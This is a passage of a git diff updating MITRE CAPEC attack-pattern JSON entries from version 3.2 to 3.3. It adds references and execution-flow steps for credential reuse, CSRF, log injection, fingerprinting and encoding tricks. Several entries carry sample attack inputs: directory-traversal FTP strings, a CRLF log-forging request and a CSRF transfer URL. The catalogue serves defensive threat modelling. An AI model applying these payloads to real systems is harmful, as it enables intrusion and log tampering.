"source_name": "capec", @@ -21,6 +21,28 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/522.html", "external_id": "CWE-522" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/294.html", + "external_id": "CWE-294" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/308.html", + "external_id": "CWE-308" + }, + { + "source_name": "ATTACK", + "description": "Use Alternate Authentication Material:Pass The Ticket", + "url": "https://attack.mitre.org/wiki/Technique/T1550/003", + "external_id": "T1550.003" + }, + { + "source_name": "reference_from_CAPEC", + "description": "BRONZE BUTLER Targets Japanese Enterprises, 2017--10---12, Secureworks\u00ae Counter Threat Unit\u2122 Threat Intelligence", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", + "external_id": "REF-584" } ], "object_marking_refs": [ @@ -32,6 +54,9 @@ "Gain Privileges" ] }, + "x_capec_example_instances": [ + "Bronze Butler (also known as Tick), has been shown to leverage forged Kerberos Ticket Granting Tickets (TGTs) and Ticket Granting Service (TGS) tickets to maintain administrative access on a number of systems. [REF-584]" + ], "x_capec_likelihood_of_attack": "Low", "x_capec_prerequisites": [ "The adversary needs physical access to the victim system.", @@ -43,7 +68,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--0618a68a-c6e1-4370-82d3-c76fa2745905.json b/capec/attack-pattern/attack-pattern--0618a68a-c6e1-4370-82d3-c76fa2745905.json index a72b84b884..bdfdb206b9 100644 --- a/capec/attack-pattern/attack-pattern--0618a68a-c6e1-4370-82d3-c76fa2745905.json +++ b/capec/attack-pattern/attack-pattern--0618a68a-c6e1-4370-82d3-c76fa2745905.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--ae43321d-dce8-4760-b904-a366518531f2", + "id": "bundle--fa7f02c2-1411-4c6c-b2f5-74d1b14f6b4c", "spec_version": "2.0", "objects": [ { @@ -29,7 +29,7 @@ "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--06e8782a-87af-4863-b6b1-99e09edda3be.json b/capec/attack-pattern/attack-pattern--06e8782a-87af-4863-b6b1-99e09edda3be.json index fdbaa0133b..4190a79384 100644 --- a/capec/attack-pattern/attack-pattern--06e8782a-87af-4863-b6b1-99e09edda3be.json +++ b/capec/attack-pattern/attack-pattern--06e8782a-87af-4863-b6b1-99e09edda3be.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--61494309-9e38-4396-ae0c-a94de1579501", + "id": "bundle--3e79cf89-5306-4c36-8623-10468c19dabd", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--06e8782a-87af-4863-b6b1-99e09edda3be", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Remote Services with Stolen Credentials", "description": "This pattern of attack involves an adversary that uses stolen credentials to leverage remote services such as RDP, telnet, SSH, and VNC to log into a system. Once access is gained, any number of malicious activities could be performed.", "external_references": [ @@ -21,19 +21,67 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/522.html", "external_id": "CWE-522" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/308.html", + "external_id": "CWE-308" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/309.html", + "external_id": "CWE-309" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/294.html", + "external_id": "CWE-294" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/263.html", + "external_id": "CWE-263" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/262.html", + "external_id": "CWE-262" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/521.html", + "external_id": "CWE-521" + }, + { + "source_name": "ATTACK", + "description": "Email Collection:Remote Email Collection", + "url": "https://attack.mitre.org/wiki/Technique/T1114/002", + "external_id": "T1114.002" + }, + { + "source_name": "ATTACK", + "description": "Remote Services", + "url": "https://attack.mitre.org/wiki/Technique/T1021", + "external_id": "T1021" + }, + { + "source_name": "ATTACK", + "description": "External Remote Services", + "url": "https://attack.mitre.org/wiki/Technique/T1133", + "external_id": "T1133" } ], "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "x_capec_abstraction": "Detailed", + "x_capec_abstraction": "Standard", "x_capec_example_instances": [ "Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). There are other implementations and third-party tools that provide graphical access Remote Services similar to RDS. Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials.", "Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). It may be called with the winrm command or by any number of programs such as PowerShell." ], "x_capec_status": "Stable", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--071baf4e-1d72-497e-8ac4-edb513262aca.json b/capec/attack-pattern/attack-pattern--071baf4e-1d72-497e-8ac4-edb513262aca.json index 71adf98ba3..5e961b0d49 100644 --- a/capec/attack-pattern/attack-pattern--071baf4e-1d72-497e-8ac4-edb513262aca.json +++ b/capec/attack-pattern/attack-pattern--071baf4e-1d72-497e-8ac4-edb513262aca.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--557ec773-bd41-4672-a7ab-4f83b3c1b24c", + "id": "bundle--494d9f5e-f8f1-4f64-a658-53fa38857dbc", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Meta", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--074a7522-162a-4656-8c50-36ce5ee5adc6.json b/capec/attack-pattern/attack-pattern--074a7522-162a-4656-8c50-36ce5ee5adc6.json index f4c5e4cbae..30dd999a9a 100644 --- a/capec/attack-pattern/attack-pattern--074a7522-162a-4656-8c50-36ce5ee5adc6.json +++ b/capec/attack-pattern/attack-pattern--074a7522-162a-4656-8c50-36ce5ee5adc6.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--89bebfbc-a59f-45f8-8b2b-96880105756c", + "id": "bundle--8c2f388d-5d54-440a-aa3b-6ae6f358cb02", "spec_version": "2.0", "objects": [ { @@ -72,7 +72,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--07e5901d-0f6d-41a9-ac19-e00eecece95f.json b/capec/attack-pattern/attack-pattern--07e5901d-0f6d-41a9-ac19-e00eecece95f.json index 9ec95d4b19..da65c0f70a 100644 --- a/capec/attack-pattern/attack-pattern--07e5901d-0f6d-41a9-ac19-e00eecece95f.json +++ b/capec/attack-pattern/attack-pattern--07e5901d-0f6d-41a9-ac19-e00eecece95f.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--64f7264d-86d3-4856-9518-a34457cac57b", + "id": "bundle--aaea70ec-62a3-4dc9-a5d8-a8f1d9c31700", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--07e5901d-0f6d-41a9-ac19-e00eecece95f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Using Escaped Slashes in Alternate Encoding", "description": "This attack targets the use of the backslash in alternate encoding. An attacker can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the attacker tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.", "external_references": [ @@ -111,6 +111,7 @@ "\n For example, the byte pair \\0 might result in a single zero byte (a NULL) being sent. Another example is \\t, which is sometimes converted into a tab character. There is often an equivalent encoding between the back slash and the escaped back slash. This means that \\/ results in a single forward slash. A single forward slash also results in a single forward slash. The encoding looks like this:\n / yields /\\/ yields /\n ", "\n Attack Example: Escaped Slashes in Alternate Encodings\n An attack leveraging this pattern is very simple. If you believe the target may be filtering the slash, attempt to supply \\/ and see what happens. Example command strings to try out include\n CWD ..\\/..\\/..\\/..\\/winnt\n which converts in many cases to\n CWD ../../../../winnt\n To probe for this kind of problem, a small C program that uses string output routines can be very useful. File system calls make excellent testing fodder. The simple snippet\n int main(int argc, char* argv[]){puts(\"\\/ \\\\ \\? \\. \\| \");return 0;\n }\n produces the output\n / \\ ? . |\n Clearly, the back slash is ignored, and thus we have hit on a number of alternative encodings to experiment with. Given our previous example, we can extend the attack to include other possibilities:\n CWD ..\\?\\?\\?\\?\\/..\\/..\\/..\\/winntCWD \\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/winntCWD ..\\|\\|\\|\\|\\/..\\/..\\/..\\/winnt\n " ], + "x_capec_execution_flow": "

Execution Flow

Experiment

  1. The attacker can send input data to the host target (e.g., via http request or command line request

  2. The attacker craft malicious input data which includes escaped slashes. The attacker may need multiple attempts before finding a successful combination.

", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The application accepts the backlash character as escape character.", @@ -122,7 +123,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--08c74bd3-c5ad-4d6c-a8bb-bb93d7503ddb.json b/capec/attack-pattern/attack-pattern--08c74bd3-c5ad-4d6c-a8bb-bb93d7503ddb.json index 8780629fa1..cd76d035ed 100644 --- a/capec/attack-pattern/attack-pattern--08c74bd3-c5ad-4d6c-a8bb-bb93d7503ddb.json +++ b/capec/attack-pattern/attack-pattern--08c74bd3-c5ad-4d6c-a8bb-bb93d7503ddb.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--a5513950-fdb7-437c-9d8f-160e801eaa3f", + "id": "bundle--6e6fbadf-91b6-4067-a5be-fad2e08a7cfe", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--08c74bd3-c5ad-4d6c-a8bb-bb93d7503ddb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Manipulating Writeable Configuration Files", "description": "Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.", "external_references": [ @@ -85,7 +85,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--0939f361-ea31-454b-ae3d-4af2411b756d.json b/capec/attack-pattern/attack-pattern--0939f361-ea31-454b-ae3d-4af2411b756d.json index 7d6dbaac09..f1134e126f 100644 --- a/capec/attack-pattern/attack-pattern--0939f361-ea31-454b-ae3d-4af2411b756d.json +++ b/capec/attack-pattern/attack-pattern--0939f361-ea31-454b-ae3d-4af2411b756d.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--063078a1-2ebb-4ef1-b0c0-6fe61e1d2489", + "id": "bundle--1c796a0d-829d-47ab-ab04-8b4a8a7e7a68", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--0939f361-ea31-454b-ae3d-4af2411b756d", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Cross Site Request Forgery", "description": "An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply \"riding\" the existing session cookie.", "external_references": [ @@ -42,6 +42,11 @@ "url": "http://cwe.mitre.org/data/definitions/716.html", "external_id": "CWE-716" }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1275.html", + "external_id": "CWE-1275" + }, { "source_name": "reference_from_CAPEC", "description": "Thomas Schreiber, Session Riding: A Widespread Vulnerability in Today's Web Applications, SecureNet GmbH", @@ -72,8 +77,9 @@ ] }, "x_capec_example_instances": [ - "\n While a user is logged into his bank account, an attacker can send an email with some potentially interesting content and require the user to click on a link in the email.\n The link points to or contains an attacker setup script, probably even within an iFrame, that mimics an actual user form submission to perform a malicious activity, such as transferring funds from the victim's account.\n The attacker can have the script embedded in, or targeted by, the link perform any arbitrary action as the authenticated user. When this script is executed, the targeted application authenticates and accepts the actions based on the victims existing session cookie.See also: Cross-site request forgery (CSRF) vulnerability in util.pl in @Mail WebMail 4.51 allows remote attackers to modify arbitrary settings and perform unauthorized actions as an arbitrary user, as demonstrated using a settings action in the SRC attribute of an IMG element in an HTML e-mail." + "\n While a user is logged into their bank account, an attacker can send an email with some potentially interesting content and require the user to click on a link in the email.\n The link points to or contains an attacker setup script, probably even within an iFrame, that mimics an actual user form submission to perform a malicious activity, such as transferring funds from the victim's account.\n The attacker can have the script embedded in, or targeted by, the link perform any arbitrary action as the authenticated user. When this script is executed, the targeted application authenticates and accepts the actions based on the victims existing session cookie.See also: Cross-site request forgery (CSRF) vulnerability in util.pl in @Mail WebMail 4.51 allows remote attackers to modify arbitrary settings and perform unauthorized actions as an arbitrary user, as demonstrated using a settings action in the SRC attribute of an IMG element in an HTML e-mail." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Explore target website: The attacker first explores the target website to determine pieces of functionality that are of interest to them (e.g. money transfers). The attacker will need a legitimate user account on the target website. It would help to have two accounts.

    2. Techniques
    Use web application debugging tool such as WebScarab, Tamper Data or TamperIE to analyze the information exchanged between the client and the server
    Use network sniffing tool such as Wireshark to analyze the information exchanged between the client and the server
    View HTML source of web pages that contain links or buttons that perform actions of interest.

Experiment

  1. Create a link that when clicked on, will execute the interesting functionality.: The attacker needs to create a link that will execute some interesting functionality such as transfer money, change a password, etc.

    2. Techniques
    Create a GET request containing all required parameters (e.g. https://www.somebank.com/members/transfer.asp?to=012345678901&amt=10000)
    Create a form that will submit a POST request (e.g.

Exploit

  1. Convince user to click on link: Finally, the attacker needs to convince a user that is logged into the target website to click on a link to execute the CSRF attack.

    2. Techniques
    Execute a phishing attack and send the user an e-mail convincing them to click on a link.
    Execute a stored XSS attack on a website to permanently embed the malicious link into the website.
    Execute a stored XSS attack on a website where an XMLHTTPRequest object will automatically execute the attack as soon as a user visits the page. This removes the step of convincing a user to click on a link.
    Include the malicious link on the attackers' own website where the user may have to click on the link, or where an XMLHTTPRequest object may automatically execute the attack when a user visits the site.
", "x_capec_likelihood_of_attack": "High", "x_capec_resources_required": [ "All the attacker needs is the exact representation of requests to be made to the application and to be able to get the malicious link across to a victim." @@ -83,7 +89,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--0a765348-6b5a-4797-9724-44b4fc4f9c55.json b/capec/attack-pattern/attack-pattern--0a765348-6b5a-4797-9724-44b4fc4f9c55.json index 6b1f2edb15..614f6a8a15 100644 --- a/capec/attack-pattern/attack-pattern--0a765348-6b5a-4797-9724-44b4fc4f9c55.json +++ b/capec/attack-pattern/attack-pattern--0a765348-6b5a-4797-9724-44b4fc4f9c55.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--4b00e7f5-2f22-4ab0-b02e-80b3b76ead68", + "id": "bundle--a9c546dd-09fc-4bf9-b108-61ead9f65acc", "spec_version": "2.0", "objects": [ { @@ -37,7 +37,7 @@ "The adversary requires physical access to the targeted communications equipment (networking devices, cables, etc.), which may be spread over a wide area." ], "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--0a899aed-6271-4cc9-8ffc-5c9575776731.json b/capec/attack-pattern/attack-pattern--0a899aed-6271-4cc9-8ffc-5c9575776731.json index ab09b93364..568daac93d 100644 --- a/capec/attack-pattern/attack-pattern--0a899aed-6271-4cc9-8ffc-5c9575776731.json +++ b/capec/attack-pattern/attack-pattern--0a899aed-6271-4cc9-8ffc-5c9575776731.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--9931f79f-4a2a-40f9-ab88-040946627ede", + "id": "bundle--b5c127e1-8907-4791-aada-f584194f54ba", "spec_version": "2.0", "objects": [ { @@ -60,7 +60,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--0b08a46d-d680-4f3d-91ad-f97e00878780.json b/capec/attack-pattern/attack-pattern--0b08a46d-d680-4f3d-91ad-f97e00878780.json index e28cf3d6d3..8d7c35fbfc 100644 --- a/capec/attack-pattern/attack-pattern--0b08a46d-d680-4f3d-91ad-f97e00878780.json +++ b/capec/attack-pattern/attack-pattern--0b08a46d-d680-4f3d-91ad-f97e00878780.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--0e4d5e30-2629-4eb1-a4bb-ce7f2510e55a", + "id": "bundle--dca3cf90-2537-4c6b-b8ad-4d79dcdfa44e", "spec_version": "2.0", "objects": [ { @@ -90,6 +90,7 @@ "x_capec_example_instances": [ "Most web servers have a public interface, even if the majority of the site is password protected, there is usually at least a login site and brochureware that is publicly available. HTTP requests to the site are also generally logged to a Web log. From an attacker point of view, standard HTTP requests containing a malicious payload can be sent to the public website (with no other access required), when those requests appear in the log (such as http://victimsite/index.html?< malicious script> if they are followed by an administrator this may be sufficient to probe the administrator's host or local network." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine Application Web Server Log File Format: The attacker observes the system and looks for indicators of which logging utility is being used by the web server.

    2. Techniques
    Determine logging utility being used by application web server (e.g. log4j), only possible if the application is known by the attacker or if the application returns error messages with logging utility information.

Experiment

  1. Determine Injectable Content: The attacker launches various logged actions with malicious data to determine what sort of log injection is possible.

    2. Techniques
    Attacker triggers logged actions with maliciously crafted data as inputs, parameters, arguments, etc.

Exploit

  1. Manipulate Log Files: The attacker alters the log contents either directly through manipulation or forging or indirectly through injection of specially crafted request that the web server will receive and write into the logs. This type of attack typically follows another attack and is used to try to cover the traces of the previous attack.

    2. Techniques
    \n Indirectly through injection, use carriage return and/or line feed characters to start a new line in the log file, and then, add a fake entry.\n For example: The HTTP request for \"/index.html%0A%0DIP_ADDRESS- - DATE_FORMAT] \"GET /forged-path HTTP/1.1\" 200 - \"-\" USER_AGENT\" may add the log line into Apache \"access_log\" (for example). Different applications may require different encodings of the carriage return and line feed characters.\n
    \n Directly through log file or database manipulation, use carriage return and/or line feed characters to start a new line in the log file, and then, add a fake entry.\n For example: The HTTP request for \"/index.html%0A%0DIP_ADDRESS- - DATE_FORMAT] \"GET /forged-path HTTP/1.1\" 200 - \"-\" USER_AGENT\" may add the log line into Apache \"access_log\" (for example). Different applications may require different encodings of the carriage return and line feed characters.\n
    Directly through log file or database manipulation, modify existing log entries.
", "x_capec_likelihood_of_attack": "Medium", "x_capec_prerequisites": [ "Target server software must be a HTTP server that performs web logging." @@ -102,7 +103,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--0cf857f6-afa4-4f0c-850f-58a4f11df157.json b/capec/attack-pattern/attack-pattern--0cf857f6-afa4-4f0c-850f-58a4f11df157.json index ad52ca3e54..2a35f7f6e3 100644 --- a/capec/attack-pattern/attack-pattern--0cf857f6-afa4-4f0c-850f-58a4f11df157.json +++ b/capec/attack-pattern/attack-pattern--0cf857f6-afa4-4f0c-850f-58a4f11df157.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--f923046d-910c-4bd0-bce5-1eecb474d078", + "id": "bundle--17cf7306-d1b1-4c31-bcbf-05b2e1a52759", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--0cf857f6-afa4-4f0c-850f-58a4f11df157", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Web Application Fingerprinting", "description": "An attacker sends a series of probes to a web application in order to elicit version-dependent and type-dependent behavior that assists in identifying the target. An attacker could learn information such as software versions, error pages, and response headers, variations in implementations of the HTTP protocol, directory structures, and other similar information about the targeted service. This information can then be used by an attacker to formulate a targeted attack plan. While web application fingerprinting is not intended to be damaging (although certain activities, such as network scans, can sometimes cause disruptions to vulnerable applications inadvertently) it may often pave the way for more damaging attacks.", "external_references": [ @@ -57,8 +57,9 @@ ] }, "x_capec_example_instances": [ - "\n An attacker sends malformed requests or requests of nonexistent pages to the server. Consider the following HTTP responses.\n \n Response from Apache 1.3.23$ nc apache.server.com80 GET / HTTP/3.0\n HTTP/1.1 400 Bad RequestDate: Sun, 15 Jun 2003 17:12: 37 GMTServer: Apache/1.3.23Connection: closeTransfer: chunkedContent-Type: text/HTML; charset=iso-8859-1\n \n Response from IIS 5.0$ nc iis.server.com 80GET / HTTP/3.0\n HTTP/1.1 200 OKServer: Microsoft-IIS/5.0Content-Location: http://iis.example.com/Default.htmDate: Fri, 01 Jan 1999 20:14: 02 GMTContent-Type: text/HTMLAccept-Ranges: bytes Last-Modified: Fri, 01 Jan 1999 20:14: 02 GMTETag: W/e0d362a4c335be1: ae1Content-Length: 133\n [R.170.2]\n " + "\n An attacker sends malformed requests or requests of nonexistent pages to the server. Consider the following HTTP responses.\n \n Response from Apache 1.3.23$ nc apache.server.com80 GET / HTTP/3.0\n HTTP/1.1 400 Bad RequestDate: Sun, 15 Jun 2003 17:12: 37 GMTServer: Apache/1.3.23Connection: closeTransfer: chunkedContent-Type: text/HTML; charset=iso-8859-1\n \n Response from IIS 5.0$ nc iis.server.com 80GET / HTTP/3.0\n HTTP/1.1 200 OKServer: Microsoft-IIS/5.0Content-Location: http://iis.example.com/Default.htmDate: Fri, 01 Jan 1999 20:14: 02 GMTContent-Type: text/HTMLAccept-Ranges: bytes Last-Modified: Fri, 01 Jan 1999 20:14: 02 GMTETag: W/e0d362a4c335be1: ae1Content-Length: 133\n [REF-37]\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Request fingerprinting: Use automated tools or send web server specific commands to web server and wait for server's response.

    2. Techniques
    Use automated tools or send web server specific commands to web server and then receive server's response.

Experiment

  1. Increase the accuracy of server fingerprinting of Web servers: Attacker usually needs to send several different commands to accurately identify the web server. Attacker can also use automated tools to send requests to the server. The responses of the server may be different in terms of protocol behavior.

    2. Techniques
    Observe the ordering of the several HTTP response headers. The ordering of the header of each server may have unique identities.
    Send bad requests or requests of nonexistent pages to the server.
    Attacker takes existing automated tools to recognize the type and the version of the web server in use.

  2. Identify Web Application Software: After the web server platform software has been identified, the attacker start to identify web application technologies such as ASP, .NET, PHP and Java on the server.

    3. Techniques
    Examine the file name extensions in URL, for example .php indicates PHP script interfaced with Apache server.
    Examine the HTTP Response Headers. This may leak information about software signatures
    Examine Cookies that may contain server's software information.
    Check error pages.

  3. Identify Backend Database Version: Determining the database engine type can assist attackers' attempt to successfully execute SQL injection. Some database API such as ODBC will show a database type as part of the driver information when reporting an error.

    4. Techniques
    Use tools to send bogus SQL query to the server and check error pages.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "Any web application can be fingerprinted. However, some configuration choices can limit the useful information an attacker may collect during a fingerprinting attack." @@ -71,7 +72,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--0d249bf9-13b3-4c13-9423-bcb1ea73c067.json b/capec/attack-pattern/attack-pattern--0d249bf9-13b3-4c13-9423-bcb1ea73c067.json index 65fbf63a06..37c53f4173 100644 --- a/capec/attack-pattern/attack-pattern--0d249bf9-13b3-4c13-9423-bcb1ea73c067.json +++ b/capec/attack-pattern/attack-pattern--0d249bf9-13b3-4c13-9423-bcb1ea73c067.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--cee4d34c-12b1-4e68-b3ce-c1b84cb4100d", + "id": "bundle--b6e48eea-3ae7-4430-93d7-24a94d522138", "spec_version": "2.0", "objects": [ { @@ -27,7 +27,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--0d2d1e18-6e28-4c58-b442-c5450e6c1112.json b/capec/attack-pattern/attack-pattern--0d2d1e18-6e28-4c58-b442-c5450e6c1112.json index 1791e47ada..eed880622c 100644 --- a/capec/attack-pattern/attack-pattern--0d2d1e18-6e28-4c58-b442-c5450e6c1112.json +++ b/capec/attack-pattern/attack-pattern--0d2d1e18-6e28-4c58-b442-c5450e6c1112.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--1d2193e3-df73-42ae-8385-11452a15f086", + "id": "bundle--fbca2551-1e75-4c58-bec8-1b25227034d2", "spec_version": "2.0", "objects": [ { @@ -40,7 +40,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--0e2bf24b-2931-45aa-a0e9-22eccfb310b2.json b/capec/attack-pattern/attack-pattern--0e2bf24b-2931-45aa-a0e9-22eccfb310b2.json index 5ca6f72fef..2e792350ec 100644 --- a/capec/attack-pattern/attack-pattern--0e2bf24b-2931-45aa-a0e9-22eccfb310b2.json +++ b/capec/attack-pattern/attack-pattern--0e2bf24b-2931-45aa-a0e9-22eccfb310b2.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--53e251a0-36aa-4fdb-a046-87778cc9cb29", + "id": "bundle--c34e191f-57d2-4cce-893d-30f57771d35e", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--0e2bf24b-2931-45aa-a0e9-22eccfb310b2", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "XSS Targeting Error Pages", "description": "An adversary distributes a link (or possibly some other query structure) with a request to a third party web server that is malformed and also contains a block of exploit code in order to have the exploit become live code in the resulting error page. When the third party web server receives the crafted request and notes the error it then creates an error message that echoes the malformed message, including the exploit. Doing this converts the exploit portion of the message into to valid language elements that are executed by the viewing browser. When a victim executes the query provided by the attacker the infected error message error message is returned including the exploit code which then runs in the victim's browser. XSS can result in execution of code as well as data leakage (e.g. session cookies can be sent to the attacker). This type of attack is especially dangerous since the exploit appears to come from the third party web server, who the victim may trust and hence be more vulnerable to deception.", "external_references": [ @@ -36,7 +36,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--0e475610-f909-4927-a93c-04f08b1781b3.json b/capec/attack-pattern/attack-pattern--0e475610-f909-4927-a93c-04f08b1781b3.json index 6b899dbd81..f7dec615c2 100644 --- a/capec/attack-pattern/attack-pattern--0e475610-f909-4927-a93c-04f08b1781b3.json +++ b/capec/attack-pattern/attack-pattern--0e475610-f909-4927-a93c-04f08b1781b3.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--92165db0-714f-4837-bb68-dde8b98f8afe", + "id": "bundle--c8ecfeff-77e7-4f61-8d88-f277b1b375a7", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--0fda524b-2218-4aec-bf3e-6f345d13e459.json b/capec/attack-pattern/attack-pattern--0fda524b-2218-4aec-bf3e-6f345d13e459.json index 0464ea134f..9f47aa1ea0 100644 --- a/capec/attack-pattern/attack-pattern--0fda524b-2218-4aec-bf3e-6f345d13e459.json +++ b/capec/attack-pattern/attack-pattern--0fda524b-2218-4aec-bf3e-6f345d13e459.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": 